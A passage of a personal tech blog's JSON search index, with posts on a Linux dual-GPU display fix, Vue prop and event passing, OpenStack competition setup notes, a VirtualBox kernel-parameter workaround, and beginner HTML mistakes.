Solving"],"content":"Use mutter-performance Still, it’s not performing well after restarting the system. For this reason, it should be a bit better to use the mutter-performance. Explanation from ChatGPT mutter-performance is an optimized version of the Mutter window manager, particularly tweaked for performance. Mutter is the default window manager for GNOME 3, which is responsible for arranging, interacting with, and animating windows linkedin.com. This package should be installed from AUR $ paru -S mutter-performance After installation, the desktop truly ran a little faster, but it’s still not enough. And by the way, it’s time to remove the xf86-video-intel. It is not required in new devices. $ sudo pacman -Rs xf86-video-intel Explanation from ChatGPT The xf86-video-intel package is a driver for Intel integrated graphics chips that is maintained by the X.Org project. However, for modern Intel graphics hardware (roughly 2007 and newer), it is often recommended to remove this package for several reasons: Better support with modesetting driver: The modesetting driver, which is part of the X server and does not need to be installed separately, has better support for modern graphics features and hardware. It is maintained by the X.Org project and tends to keep up with new developments in graphics technology github.com. Issues with xf86-video-intel driver: The xf86-video-intel driver has been known to cause issues on some systems, including graphical glitches and poorer performance compared to the modesetting driver. In some cases, it can even lead to system instability bbs.archlinux.org. Lack of active development: The xf86-video-intel driver has not seen active development for several years, which means it may lack support for features found in newer hardware and software. On the other hand, the modesetting driver is actively developed as part of the X server reddit.com. To remove the xf86-video-intel package, you can use the package manager of your specific Linux distribution. Here’s an example using pacman, the package manager for Arch Linux: sudo pacman -R xf86-video-intel After removing the package, restart your system to ensure the changes take effect. Remember to check the documentation of your specific distribution for the correct way to remove packages and handle drivers. ","date":"2023-09-21","objectID":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/:6:0","tags":["Dual GPUs","NVIDIA","Intel","Arch Linux","Linux","NVIDIA Driver","X11","Problem Solving"],"title":"Solve the problem of dual screen with NVIDIA and Intel GPUs","uri":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/"},{"categories":["Problem Solving"],"content":"Set X-11 Configuration According to the Arch Wiki, I need to set some X-11 Configuration, intending to use the NVIDIA graphics only. Write in the file /etc/X11/xorg.conf.d/10-nvidia-drm-outputclass.conf/: Section \"OutputClass\" Identifier \"intel\" MatchDriver \"i915\" Driver \"modesetting\" EndSection Section \"OutputClass\" Identifier \"nvidia\" MatchDriver \"nvidia-drm\" Driver \"nvidia\" Option \"AllowEmptyInitialConfiguration\" Option \"PrimaryGPU\" \"yes\" ModulePath \"/usr/lib/nvidia/xorg\" ModulePath \"/usr/lib/xorg/modules\" EndSection Then I need to create two *.desktop files to configure the GDM. Write in /usr/share/gdm/greeter/autostart/optimus.desktop and /etc/xdg/autostart/optimus.desktop [Desktop Entry] Type=Application Name=Optimus Exec=sh -c \"xrandr --setprovideroutputsource modesetting NVIDIA-0; xrandr --auto\" NoDisplay=true X-GNOME-Autostart-Phase=DisplayServer Finally, I rebooted and fixed the problem. Yay! ","date":"2023-09-21","objectID":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/:7:0","tags":["Dual GPUs","NVIDIA","Intel","Arch Linux","Linux","NVIDIA Driver","X11","Problem Solving"],"title":"Solve the problem of dual screen with NVIDIA and Intel GPUs","uri":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/"},{"categories":["Problem Solving"],"content":"References Phind.com NVIDIA Optimus - ArchWiki #Use_NVIDIA_graphics_only NVIDIA Optimus - ArchWiki #GDM ","date":"2023-09-21","objectID":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/:8:0","tags":["Dual GPUs","NVIDIA","Intel","Arch Linux","Linux","NVIDIA Driver","X11","Problem Solving"],"title":"Solve the problem of dual screen with NVIDIA and Intel GPUs","uri":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/"},{"categories":["Programming"],"content":"A passage to record some methods of programming in FrontEnd Development.","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["Programming"],"content":"Introduction Vue is a popular JavaScript framework for building interactive web interfaces. It’s easy to learn, versatile, and has a supportive community. Developing single-page applications with Vue is incredibly convenient. However, there are instances where we encounter challenges when it comes to transferring values between parent and child components. Still unclear? Imagine this scenario: You’ve created a button and you want it to control the content of a \u003cp\u003e\u003c/p\u003e element, thereby fulfilling a specific development requirement. Then it’s time to transfer different values to ChildComponet to change the properties or trigger an event. ","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/:1:0","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["Programming"],"content":"Ways to transfer a value from the parent to the child ","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/:2:0","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["Programming"],"content":"Step 1: Create the Parent Component Create a new Vue component file for the parent component (e.g., ParentComponent.vue). In the component’s template, define the parent component’s content and include the child component. \u003ctemplate\u003e \u003cdiv class=\"FatherBox\"\u003e \u003cChildComponent /\u003e \u003cbutton\u003e\u003c/button\u003e \u003c/div\u003e \u003c/template\u003e Import the child component by adding the necessary import statement. \u003cscript lang=\"ts\"\u003e import ChildComponent from './ChildComponent.vue'; \u003c/script\u003e Register the child component in the parent component’s components property. \u003cscript lang=\"ts\"\u003e export default { components: { ChildComponent, }, } \u003c/script\u003e ","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/:2:1","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["Programming"],"content":"Step 2: Define the Data in the Parent Component In the parent component’s script section, define a data property to store the value that will be passed to the child component. \u003cscript lang=\"ts\"\u003e export default { data() { return { }; }, } \u003c/script\u003e Assign the initial value to the data property. This will be the value passed initially to the child component. \u003cscript lang=\"ts\"\u003e export default { data() { return { message: 'Hello from the parent component!', // Value to pass to child component }; }, } \u003c/script\u003e ","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/:2:2","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["Programming"],"content":"Step 3: Pass the Data as a Prop to the Child Component 1.In the parent component’s template, add the child component and use the colon (:) binding to pass the data property as a prop to the child component. \u003ctemplate\u003e \u003cdiv class=\"FatherBox\"\u003e \u003cChildComponent :message=\"message\" /\u003e \u003c/div\u003e \u003c/template\u003e The prop name in the child component should match the name you choose when passing the prop in the parent component. \u003cscript lang=\"ts\"\u003e import ChildComponent from './ChildComponent.vue'; export default { components: { ChildComponent, }, data() { return { message: 'Hello from the parent component!', // Value to pass to child component }; }, methods: { changeMessage() { this.message = 'New message from parent!'; }, } }; \u003c/script\u003e ","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/:2:3","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["Programming"],"content":"Step 4: Create the Child Component Create a new Vue component file for the child component (e.g., ChildComponent.vue). In the child component’s template, define the child component’s content. This will include rendering the prop value passed from the parent component. \u003ctemplate\u003e \u003cdiv\u003e \u003cp\u003e{{ message }}\u003c/p\u003e \u003c/div\u003e \u003c/template\u003e ","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/:2:4","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["Programming"],"content":"Step 5: Define the Prop in the Child Component In the child component’s script section, define the prop for receiving the data sent by the parent component. \u003cscript lang=\"ts\"\u003e export default { props: { message: { }, }, }; \u003c/script\u003e Specify the type of the prop (e.g., String, Number, etc.) to ensure data integrity. You can also set required: true if the prop must be passed. message: { type: String, required: true, }, ","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/:2:5","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["Programming"],"content":"Step 6: Emit an Event from the Child Component In the child component’s script, define a method that will emit an event to communicate with the parent component. methods: { changeMessage() { const newMessage = 'New message from child!'; }, }, Inside the method, use this.$emit(’event-name’, data) to emit the event. Choose a suitable event name and pass any relevant data to the parent component. methods: { changeMessage() { const newMessage = 'New message from child!'; this.$emit('update-message', newMessage); }, }, ","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/:2:6","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["Programming"],"content":"Step 7: Handle the Event in the Parent Component In the parent component’s script, define a method that will handle the event emitted by the child component. updateMessage(newMessage: any) { }, Add an event listener to the child component instance in the parent component’s template, using @event-name=\"methodName\". \u003ctemplate\u003e \u003cChildComponent :message=\"message\" @update-message=\"updateMessage\" /\u003e \u003c/template\u003e In the method, receive the emitted data as an argument and update the parent component’s data accordingly. updateMessage(newMessage: any) { this.message = newMessage; }, ","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/:2:7","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["Programming"],"content":"Compeleted Code ParentComponent: \u003ctemplate\u003e \u003cdiv class=\"FatherBox\"\u003e \u003cChildComponent :message=\"message\" @update-message=\"updateMessage\" /\u003e \u003cbutton @click=\"changeMessage\"\u003eChange Message By ParentComponent\u003c/button\u003e \u003c/div\u003e \u003c/template\u003e \u003cscript lang=\"ts\"\u003e import ChildComponent from './ChildComponent.vue'; export default { components: { ChildComponent, }, data() { return { message: 'Hello from the parent component!', // Value to pass to child component }; }, methods: { updateMessage(newMessage: any) { this.message = newMessage; }, changeMessage() { this.message = 'New message from parent!'; }, }, }; \u003c/script\u003e \u003cstyle scoped\u003e .FatherBox { background-color: #f1f1f1; border-radius: 20px; box-shadow: 0 5px 5px rgba(0, 0, 0, 0.2); padding: 20px; } \u003c/style\u003e ChildComponent: \u003ctemplate\u003e \u003cdiv\u003e \u003cp\u003e{{ message }}\u003c/p\u003e \u003cbutton @click=\"changeMessage\"\u003eChange Message\u003c/button\u003e \u003c/div\u003e \u003c/template\u003e \u003cscript lang=\"ts\"\u003e export default { props: { message: { }, }, methods: { changeMessage() { const newMessage = 'New message from child!'; this.$emit('update-message', newMessage); }, }, }; \u003c/script\u003e ","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/:2:8","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["Programming"],"content":"Test Then we can execute yarn dev to start a development server and we can see a page like this: Now Let’s try clicking the first button! Obviously! The content of the text changed! Then let’s click the second button! It became “New message from parent!”! That’s amazing right? ","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/:3:0","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["Programming"],"content":"Conclusion That’s it! By following these steps, you can successfully pass a value from a parent component to a child component using props and events in Vue.js. Don’t forget to save your files, import components where necessary, and register components appropriately. ","date":"2023-07-22","objectID":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/:4:0","tags":["Vue","FrontEnd","Javascript","Web","Devlopment","Programming"],"title":"How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2","uri":"/posts/how_to_transfer_a_value_from_the_parent_component_to_the_child_component_in_vue_3.2/"},{"categories":["operations and maintenance"],"content":"A note of my attempting.","date":"2023-05-04","objectID":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/","tags":["OpenStack","Linux","CentOS","Competition","Installation","Notes","Attempt","operations and maintenance","Keystone","Glance","Placement","Nova","Neutron","Swift","Cinder","Manila"],"title":"Attempted solution to the OpenStack Provincial Competition problem (Part One: Installation)","uri":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/"},{"categories":["operations and maintenance"],"content":"Introduction As you know, I have been fortunate enough to be selected by my instructors to participate in the provincial cloud computing competition. As a result, I have joined the project group in campus. As a member of the group, I need to study hard and continuously expand my knowledge. To achieve good results at the upcoming provincial competition, we need to learn about the structure of private clouds and the different types of container clouds. One suggested option for a private cloud solution is OpenStack, which can be complex and require significant effort to master. However, I am still motivated to pursue this technology as I have a strong interest in IT and Linux-related topics, and I believe that the challenge of learning OpenStack will ultimately improve my knowledge and skills. Therefore, I made a decision to write some articles on my blog site to document my study process. ","date":"2023-05-04","objectID":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/:1:0","tags":["OpenStack","Linux","CentOS","Competition","Installation","Notes","Attempt","operations and maintenance","Keystone","Glance","Placement","Nova","Neutron","Swift","Cinder","Manila"],"title":"Attempted solution to the OpenStack Provincial Competition problem (Part One: Installation)","uri":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/"},{"categories":["operations and maintenance"],"content":"Preparation ","date":"2023-05-04","objectID":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/:2:0","tags":["OpenStack","Linux","CentOS","Competition","Installation","Notes","Attempt","operations and maintenance","Keystone","Glance","Placement","Nova","Neutron","Swift","Cinder","Manila"],"title":"Attempted solution to the OpenStack Provincial Competition problem (Part One: Installation)","uri":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/"},{"categories":["operations and maintenance"],"content":"Nodes At first of the first, I need to understand a basic example structrue of the OpenStack. Without doubt, this picture below is a reasonable and official one. However, limited by the performance and small disk storage, I can only create mainly 2 nodes and an extra resource node to provide the images and repos. I won’t create independent Object Storage Node and Block Storage Node while it’s a better choice to add 2 extra virtual disks to the Compute Node. And for the Cinder Service, I will only provide 1 disk with 2 partitions to run the service. The details of my VirutalBox properties is blow: By the way, I have to explain the Arch VM, it’s only a resource node to provide the HTTP downloading and yum repo service. So I just use 256MB RAM and 1 core, but 2 disks to storage the multiple and large repo files. ","date":"2023-05-04","objectID":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/:2:1","tags":["OpenStack","Linux","CentOS","Competition","Installation","Notes","Attempt","operations and maintenance","Keystone","Glance","Placement","Nova","Neutron","Swift","Cinder","Manila"],"title":"Attempted solution to the OpenStack Provincial Competition problem (Part One: Installation)","uri":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/"},{"categories":["operations and maintenance"],"content":"Network Network Interfaces In order to set up the OpenStack Services, each node (compute and controller) need to use 2 network interfaces. The first one is used to connect to the Management NetWork while the second one is used to connect the Operation Network. Network Interface Network Usage enp0s3 192.168.56.0/24 Management NetWork enp0s8 172.129.1.0/24 Operation Network Nodes IP Address So the detail netowrk properties is below: Node Management Address Operation Address controller 192.168.56.2 172.129.1.1 compute 192.168.56.3 172.129.1.2 Resource 192.168.56.100 None ","date":"2023-05-04","objectID":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/:2:2","tags":["OpenStack","Linux","CentOS","Competition","Installation","Notes","Attempt","operations and maintenance","Keystone","Glance","Placement","Nova","Neutron","Swift","Cinder","Manila"],"title":"Attempted solution to the OpenStack Provincial Competition problem (Part One: Installation)","uri":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/"},{"categories":["operations and maintenance"],"content":"Operating System CentOS will be installed in the controller and compute and the Arch Linux will be installed in Resouce. Node OS controller CentOS 7 compute CentOS 7 Resource Arch Linux Set up the network Edit the file /etc/sysconfig/network-scripts/ifcfg-enp0s3 and /etc/sysconfig/network-scripts/ifcfg-enp0s8 on each nodes. # vim /etc/sysconfig/network-scripts/ifcfg-enp0s3 # vim /etc/sysconfig/network-scripts/ifcfg-enp0s8 And Edit the file according to the sheet. For example, the controller node is below: /etc/sysconfig/network-scripts/ifcfg-enp0s3: TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=static DEFROUTE=yes IPADDR=192.168.56.2 GATEWAY=192.168.56.1 PREFIX=24 IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no IPV6_ADDR_GEN_MODE=stable-privacy NAME=enp0s3 UUID=d59932b3-b22e-4d55-893d-cdeb847bd619 DEVICE=enp0s3 ONBOOT=yes /etc/sysconfig/network-scripts/ifcfg-enp0s8: TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=static DEFROUTE=yes IPADDR=172.129.1.1 PREFIX=24 IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no IPV6_ADDR_GEN_MODE=stable-privacy NAME=enp0s8 UUID=b02be511-361b-447f-b670-282850bce1f5 DEVICE=enp0s8 ONBOOT=yes Start ssh service Start sshd on each nodes. # systemctl start sshd \u0026\u0026 systemctl enable sshd ","date":"2023-05-04","objectID":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/:2:3","tags":["OpenStack","Linux","CentOS","Competition","Installation","Notes","Attempt","operations and maintenance","Keystone","Glance","Placement","Nova","Neutron","Swift","Cinder","Manila"],"title":"Attempted solution to the OpenStack Provincial Competition problem (Part One: Installation)","uri":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/"},{"categories":["operations and maintenance"],"content":"Quiz ","date":"2023-05-04","objectID":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/:3:0","tags":["OpenStack","Linux","CentOS","Competition","Installation","Notes","Attempt","operations and maintenance","Keystone","Glance","Placement","Nova","Neutron","Swift","Cinder","Manila"],"title":"Attempted solution to the OpenStack Provincial Competition problem (Part One: Installation)","uri":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/"},{"categories":["operations and maintenance"],"content":"[Task 1] Building Private Cloud Services [10.5 points] [Question 1] Basic environment configuration [0.5 points] Using the provided username and password, log in to the provided OpenStack private cloud platform. Under the current tenancy, create two virtual machines using the CentOS7.9 image and 4vCPU/12G/100G_50G type. The second network card should be created and connected to both the controller and compute nodes (the second network card’s subnet is 10.10.X.0/24, where X represents the workstation number, and no routing is needed). Verify the security group policies to ensure normal network communication and ssh connection, and configure the servers as follows: Set the hostname of the control node to ‘controller’ and that of the compute node to ‘compute’; Modify the hosts file to map IP addresses to hostnames. After completing the configuration, submit the username, password, and IP address of the control node in the answer box. The first quiz is eazy, just some steps can be done. At the controller Node: [root@controller ~]# hostnamectl set-hostname controller At the compute Node: [root@compute ~]# hostnamectl set-hostname compute Edit the file /etc/hosts: [root@controller ~]# vim /etc/hosts Write these: 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 192.168.56.100 Resource 192.168.56.2 controller 192.168.56.3 compute Save it by :wq. Then send it to compute Node by scp: [root@controller ~]# scp /etc/hosts root@compute:/etc/hosts Finally, all the operation is complete. [Question 2] Yum Repository Configuration [0.5 points] Using the provided HTTP service address, there are CentOS 7.9 and IaaS network YUM repositories available under the HTTP service. Use this HTTP source as the network source for installing the IaaS platform. Set up the yum source file http.repo for both the controller node and compute node. After completion, submit the username, password, and IP address of the control node to the answer box. Well, it’s still a easy question. First, delete the old repo files in two nodes: [root@controller ~]# rm -rfv /etc/yum.repos.d/* [root@compute ~]# rm -rfv /etc/yum.repos.d/* Second, according to the question, we should create and edit a file named after http.repo. [root@controller ~]# vim /etc/yum.repos.d/http.repo write the information below into the file: [centos] name=centos baseurl=http://Resource/centos gpgcheck=0 enabled=1 [iaas-repo] name=centos baseurl=http://Resource/iaas gpgcheck=0 enabled=1 Then save it, and do the same operation in the compute node. But there’s a quick way to use scp to copy the file to it. [root@controller ~]# scp /etc/yum.repos.d/http.repo root@compute:/etc/yum.repos.d/http.repo Then type the password of the root in compute node, the file will be sent. And of course, I will use the quick way to do the same executions. [Question 3] Configure SSH without keys [0.5 points] Configure the controller node to access the compute node without a key, and then attempt an SSH connection to the hostname of the compute node for testing. After completion, submit the username, password, and IP address of the controller node in the answer box. It’s also an easy and necessary operation we have to do, because we can make the controller node easier to transfer files and execute commands in compute node. So the first thing we have to do is generate a ssh-key: [root@controller ~]# ssh-keygen Then press the Enter to confirm your requirements of generation according to the information in terminal. Normally you will see these: Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa Your public key has been saved in /root/.ssh/id_rsa.pub The key fingerprint is: SHA256:FYN98pz53tfocj5Q4DO90jqqN+lJdzXi9WKMFNjm4Wc root@Resource The key's randomart image","date":"2023-05-04","objectID":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/:3:1","tags":["OpenStack","Linux","CentOS","Competition","Installation","Notes","Attempt","operations and maintenance","Keystone","Glance","Placement","Nova","Neutron","Swift","Cinder","Manila"],"title":"Attempted solution to the OpenStack Provincial Competition problem (Part One: Installation)","uri":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/"},{"categories":["operations and maintenance"],"content":"Conclusion Well, finally, I finished all the steps of establishing the OpenStack! These are the notes of the process. ","date":"2023-05-04","objectID":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/:4:0","tags":["OpenStack","Linux","CentOS","Competition","Installation","Notes","Attempt","operations and maintenance","Keystone","Glance","Placement","Nova","Neutron","Swift","Cinder","Manila"],"title":"Attempted solution to the OpenStack Provincial Competition problem (Part One: Installation)","uri":"/posts/attempted_solution_to_the_openstack_provincial_competition_problem_part1/"},{"categories":["Problem Solving"],"content":"Attempt to solve the problem of VirtualBox stuck on 'Starting' when starting a virtual machine. It is said that there has been a big news recently, and this problem can be solved by setting the kernel parameter ibt=off.","date":"2023-03-06","objectID":"/posts/problem_of_virtualbox_appeding_starting_vm/","tags":["VirtualBox","Linux","KVM","Kernel","Virtual Machine","Grub","ibt=off"],"title":"Attempt to Solve the Problem of VirtualBox Stuck on 'Starting' When Starting a Virtual Machine","uri":"/posts/problem_of_virtualbox_appeding_starting_vm/"},{"categories":["Problem Solving"],"content":"Prologue: What was the problem? Today, I felt like playing around with VirtualBox and discovered that every virtual machine was stuck at Starting virtual machine.. The first step when encountering a problem is to go to Google. Hmm… I found two posts on the official Arch forum. Virtualbox hangs on Starting virtual machine window / Newbie Corner / Arch Linux Forums KVM busted in linux 5.18 due to Intel CET / Kernel \u0026 Hardware / Arch Linux Forums After reading the two posts, I discovered that it was due to a bug in KVM in the new version of the kernel. Fortunately, a skilled individual had already submitted a bug report. FS#75481 : [linux] VBox virtual machines stop functioning x86/ibt: Add IBT feature, MSR and #CP handling · torvalds/linux@991625f · GitHub As for how this bug came about… I’m not sure, I’m not that knowledgeable. Thinking about how to solve it Based on the content of the posts I’ve read, the solution is to set the kernel parameter ibt=off. Thank you appending ibt=off to kernel boot params fixed my problem. ","date":"2023-03-06","objectID":"/posts/problem_of_virtualbox_appeding_starting_vm/:0:0","tags":["VirtualBox","Linux","KVM","Kernel","Virtual Machine","Grub","ibt=off"],"title":"Attempt to Solve the Problem of VirtualBox Stuck on 'Starting' When Starting a Virtual Machine","uri":"/posts/problem_of_virtualbox_appeding_starting_vm/"},{"categories":["Problem Solving"],"content":"How do I set kernel boot parameters? Since I didn’t know how to do this, I went to Google and found a method. How to set kernel boot parameters on Linux - Linux Tutorials - Learn Linux Configuration ","date":"2023-03-06","objectID":"/posts/problem_of_virtualbox_appeding_starting_vm/:1:0","tags":["VirtualBox","Linux","KVM","Kernel","Virtual Machine","Grub","ibt=off"],"title":"Attempt to Solve the Problem of VirtualBox Stuck on 'Starting' When Starting a Virtual Machine","uri":"/posts/problem_of_virtualbox_appeding_starting_vm/"},{"categories":["Problem Solving"],"content":"Proposed Solution Actually, the solution is to edit the value of GRUB_CMDLINE_LINUX=\"\" in the /etc/default/grub file and add “ibt=off” to it. Solution Steps ","date":"2023-03-06","objectID":"/posts/problem_of_virtualbox_appeding_starting_vm/:2:0","tags":["VirtualBox","Linux","KVM","Kernel","Virtual Machine","Grub","ibt=off"],"title":"Attempt to Solve the Problem of VirtualBox Stuck on 'Starting' When Starting a Virtual Machine","uri":"/posts/problem_of_virtualbox_appeding_starting_vm/"},{"categories":["Problem Solving"],"content":"1. Edit the /etc/default/grub file The purpose of editing this file is to set the kernel boot parameters. The method for setting this may vary depending on the system booted by different bootloaders. As I am using Grub in my Arch system, I need to edit this file. $ sudo vim /etc/default/grub Find the keyword GRUB_CMDLINE_LINUX=\"\" and add the parameter ibt=off. # GRUB boot loader configuration GRUB_DEFAULT=0 GRUB_TIMEOUT=5 GRUB_DISTRIBUTOR=\"Arch\" GRUB_CMDLINE_LINUX_DEFAULT=\"loglevel=7\" GRUB_CMDLINE_LINUX=\"ibt=off\" ...... Enter : and type wq to save and exit the file (this is a basic operation and requires no further explanation). ","date":"2023-03-06","objectID":"/posts/problem_of_virtualbox_appeding_starting_vm/:3:0","tags":["VirtualBox","Linux","KVM","Kernel","Virtual Machine","Grub","ibt=off"],"title":"Attempt to Solve the Problem of VirtualBox Stuck on 'Starting' When Starting a Virtual Machine","uri":"/posts/problem_of_virtualbox_appeding_starting_vm/"},{"categories":["Problem Solving"],"content":"2. Regenerate the Grub configuration file Then, regenerate the Grub configuration file. $ sudo grub-mkconfig -o /boot/grub/grub.cfg Wait for the operation to complete. If there are no errors, you can restart the operating system. $ sudo reboot Testing and Verification After restarting the system, open VirtualBox again and start a virtual machine. At this point, it should successfully enter the system. This means that the problem has been solved. ","date":"2023-03-06","objectID":"/posts/problem_of_virtualbox_appeding_starting_vm/:4:0","tags":["VirtualBox","Linux","KVM","Kernel","Virtual Machine","Grub","ibt=off"],"title":"Attempt to Solve the Problem of VirtualBox Stuck on 'Starting' When Starting a Virtual Machine","uri":"/posts/problem_of_virtualbox_appeding_starting_vm/"},{"categories":["Web"],"content":"Introduction Many beginners often encounter some basic problems when learning HTML and CSS, which can be frustrating. I originally didn’t want to write about basic topics, but I feel that some people may need to see this kind of content…so here are some tips. There is not much to say, just some issues related to syntax and usage. Common Issues I Have Noticed ","date":"2022-11-17","objectID":"/posts/something-about-html-css/:0:0","tags":["HTML","CSS","Front-end","Web Design","Basics","Rant"],"title":"Some Thoughts on Writing HTML and CSS","uri":"/posts/something-about-html-css/"},{"categories":["Web"],"content":"HTML Syntax Problems ","date":"2022-11-17","objectID":"/posts/something-about-html-css/:1:0","tags":["HTML","CSS","Front-end","Web Design","Basics","Rant"],"title":"Some Thoughts on Writing HTML and CSS","uri":"/posts/something-about-html-css/"},{"categories":["Web"],"content":"Tag Order Problems I often get asked questions like “Why isn’t my content showing up when I put the tags in?”, or “Why isn’t this working…” and so on. The first question I was asked was why the content of the title (\u003ch1\u003e tag) wasn’t showing up. I took a look at their code: \u003c!DOCTYPE html\u003e \u003chtml\u003e \u003chead\u003e \u003cmeta charset=\"utf-8\" /\u003e \u003ctitle\u003eTest\u003c/title\u003e \u003c/head\u003e \u003cbody\u003e \u003cp\u003e ppp \u003ch1\u003eTT\u003c/h1\u003e pppp \u003c/p\u003e \u003c/body\u003e \u003c/html\u003e I couldn’t believe it – they put the \u003ch1\u003e tag inside the \u003cp\u003e tag… It’s clear that they aren’t familiar with either of these tags. Both \u003ch1\u003e and \u003cp\u003e are block-level elements, and by default the font size of \u003ch1\u003e is larger than that of \u003cp\u003e. Therefore, putting them together may result in display errors. Normally, these two tags exist on the same level, and both will occupy a line to display. If the larger \u003ch1\u003e tag is nested inside the smaller one, of course you won’t be able to see it~ In summary, there cannot be headings within paragraphs, and they cannot be nested within each other. Therefore, the correct way to write it should be as follows: \u003c!DOCTYPE html\u003e \u003chtml\u003e \u003chead\u003e \u003cmeta charset=\"utf-8\" /\u003e \u003ctitle\u003eTest\u003c/title\u003e \u003c/head\u003e \u003cbody\u003e 